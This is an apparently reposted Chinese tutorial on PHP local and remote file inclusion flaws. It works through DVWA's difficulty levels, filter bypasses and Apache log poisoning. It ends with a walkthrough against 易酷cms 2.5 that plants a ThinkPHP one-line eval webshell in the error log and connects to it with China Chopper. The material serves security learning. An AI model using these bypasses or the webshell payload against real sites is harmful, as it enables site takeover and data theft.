文件包含漏洞學習總結(結尾有實例)


什么是文件包含(漏洞)?

程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為文件包含。

而此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行,php中與文件包含的有關的函數為 include()require()include_once()require_once()它們的區別如下

include():只有代碼執行到該函數時才會包含文件進來,發生錯誤時只給出一個警告並繼續向下執行。
include_once():和include()功能相同,區別在於當重復調用同一文件時,程序只調用一次。
require():只要程序執行就包含文件進來,發生錯誤時會輸出錯誤結果並終止運行。
require_once():和require()功能相同,區別在於當重復調用同一文件時,程序只調用一次。

文件包含(漏洞)分為本地包含和遠程包含,想要遠程包含時需要在php.ini配置文件中將allow_url_fopen設置為On(開啟狀態)

文件包含(漏洞)讀文件

下面以DVWA文件包含模塊進行舉例,首先查看一下,low級別的源代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

我們發現代碼中沒有對接收的page參數做任何處理,所以參數page是不可控的,這樣就會造成任意文件讀取和任意命令執行。先看一下原始的URL

http://www.test.com/DVWA-master/vulnerabilities/fi/?page=include.php

我們將include.php替換成不存在的來看一下,我們發現報錯了,並且報出了絕對路徑。如下圖

接下來咱們構造如下URL,發現讀取到了配置文件php.ini

http://www.test.com/DVWA-master/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\www.test.com\DVWA-master\php.ini

如下圖

接下來咱們看一下中級別的源代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

 

 發現中級別的使用的str_replace函數,將http://  https://  ../ ..\  都替換為空格,也就是相當於刪除了,但是這種安全措施,很容易繞過,你不是刪除嗎,那我雙寫,比如,可以將前面內容構造成htthttp://p://,這個函數將中間的http://刪除,剩下的內容重新構成http://,這樣就繞過了,執行了構造的惡意鏈接。

../和..\同樣的道理,這是用這樣的方式,如下圖,咱們依然讀取了php.ini配置文件。

下面咱們看一下高級別的源代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

 

 發現高級別的源代碼用了fnmatch函數,對page參數進行檢查,如果包含的文件后綴,不是include.php,那就要求page參數的開頭必須是file,服務器才會去包含相應的文件。這樣咱們還是有方法繞過,可以使用file協議繞過。

再看一下最高級別的核心源代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

最高級別的只允許包含上面三個文件,杜絕了文件包含漏洞。

包含日志文件

而有些時候,當發現本地包含漏洞,普通方法咱們都試過了發現無法利用,這時候可以換一種思路,可以利用日志文件來進行入侵。這里以Apache舉例,Apache服務器運行后會生成兩個日志文件,這兩個文件是access.log(訪問日志)和error.log(錯誤日志),apache的日志文件記錄下我們的操作,並且寫到訪問日志文件access.log之中,這時候咱們直接在參數后加上咱們的惡意代碼,頁面報錯,這個錯誤信息就會記錄到access.log中,里面包含了惡意代碼,這時候只要知道日志的路徑,就可以使用菜刀鏈接,直接getwebshell。

PHP內置協議

  PHP帶有很多內置URL風格的封裝協議,可用於類似fopen()、copy()、file_exists()和filesize()的文件系統函數。有想要了解的小伙伴可以去PHP官網,官網地址http://www.php.net/manual/zh/wrappers.php。這里列出了一些

File://         /*訪問本地文件系統*/
htt[p://      /*訪問HTTP(s)網址*/
ftp://          /*訪問FTP(s)URLS*/
php://         /*訪問各個輸入/輸出流(I/o streams)
zlib://          /*壓縮流*/
data://        /*數據(RFC2397)*/
ssh2://        /*Secure Shell 2*/
expect://     /*處理交互式的流*/

 

實例

說明:通過本地包含直接getwebshell,直接控制整個網站權限。大體思路:構造錯誤頁面,里面包含惡意代碼,利用thinkphp的錯誤日志功能,直接菜刀連接。

實戰環境是,易酷cms2.5 源碼下載地址 https://dl.pconline.com.cn/download/1492133.html

我已經下載源碼,本地搭建好了,直接開始,搭建好的頁面顯示如圖

接下來構造錯誤頁面,如下圖

接下來,在url的后面結合thinkphp的模板語法構造一句話為:{~eval($_POST[-7])},結果如下圖,發現咱們的一句話木馬已經插入到錯誤日志中

可以找到/temp/logs/目錄下找到這個文件,咱們確定一下看看錯誤日志里到底有沒有咱們的木馬,發現確實存在

然后菜刀連接,成功getwebshell

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM